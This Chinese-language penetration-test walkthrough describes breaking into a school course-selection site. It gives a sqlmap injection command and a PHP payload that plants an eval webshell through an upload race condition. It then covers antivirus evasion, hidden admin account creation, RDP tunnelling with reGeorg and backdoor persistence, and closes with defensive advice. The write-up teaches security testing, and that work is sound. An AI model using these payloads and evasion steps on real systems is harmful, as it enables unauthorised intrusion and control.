记一次简单渗透
字数 1303 2025-08-05 11:39:37
渗透测试实战教学:从SQL注入到远程控制
前言
本教学文档基于一次真实的渗透测试案例,详细记录了从发现漏洞到最终获取系统控制权的完整过程。案例中涉及SQL注入、文件上传漏洞利用、系统信息收集、权限维持和远程控制等技术点,适合中级渗透测试人员学习参考。
1. SQL注入攻击
1.1 漏洞发现
- 目标系统:某校选课网站
- 漏洞类型:宽字节注入
- 发现方式:使用扫描器自动扫描发现
1.2 漏洞验证
- 确认无过滤措施
- 使用SQLmap进行自动化利用:
python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
1.3 数据提取
- 爆库操作获取数据库名称
- 爆表操作获取目标表(Admin表)
- 爆列操作获取账号密码字段
- 爆值操作提取管理员凭证
1.4 密码破解
- 获取的密码为MD5加密格式
- 使用cmd5等在线平台进行解密
- 成功获取明文密码并登录后台
2. 文件上传漏洞利用
2.1 漏洞发现
- 发现FCKeditor编辑器(版本2.6.6 PHP)
- 尝试已知漏洞利用失败
- 发现另一个上传接口:学生名单上传功能
2.2 漏洞分析
- 仅前端验证,可绕过
- BurpSuite拦截发现返回完整文件路径
- 文件被上传到临时目录(temp)并自动清除
2.3 漏洞利用
- 构造恶意PHP文件:
<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']'); ?>"); ?> - 利用条件竞争漏洞:
- 使用BurpSuite Intruder模块多线程发包
- 在文件被删除前访问执行
- 成功在父目录写入Webshell
3. 系统信息收集
3.1 基本信息收集
- 执行
systeminfo获取系统详细信息 - 执行
netstat -ano查看开放端口- 发现3389端口开放(远程桌面服务)
- 执行
whoami确认当前权限为SYSTEM
3.2 安全防护检测
- 执行
tasklist发现360安全卫士运行 - 尝试终止360进程失败:
taskkill命令被拦截sc delete方法也被拦截
4. 权限维持与远程控制
4.1 创建管理员账户
- 尝试常规方法失败(被360拦截)
- 使用Windows API方法绕过防护:
- 使用预编译工具
netuser(GitHub项目) - 成功创建管理员账户
- 使用预编译工具
4.2 内网穿透
- 发现3389端口仅内网开放
- 使用reGeorg进行内网穿透:
- 上传
tunnel.nosocket.php(PHP<5.3兼容) - 配置代理通道
- 验证连接正常
- 上传
4.3 远程连接
- 通过内网穿透建立连接
- 登录后首先关闭360防护
- 参考隐藏后门方法维持访问权限
5. 防御建议
5.1 针对SQL注入
- 使用参数化查询
- 实施严格的输入过滤
- 禁用宽字节字符集或正确处理
5.2 针对文件上传
- 实施后端文件类型验证
- 禁用临时目录的脚本执行权限
- 设置文件上传目录不可执行
5.3 系统安全加固
- 限制SYSTEM权限操作
- 配置360等安全软件规则
- 监控异常账户创建行为
6. 参考资源
总结
本案例展示了从Web漏洞到系统完全控制的完整渗透流程,重点突出了在遇到安全防护时的绕过思路和解决方法。渗透测试人员应理解每种技术的原理和限制,在实际测试中灵活组合应用。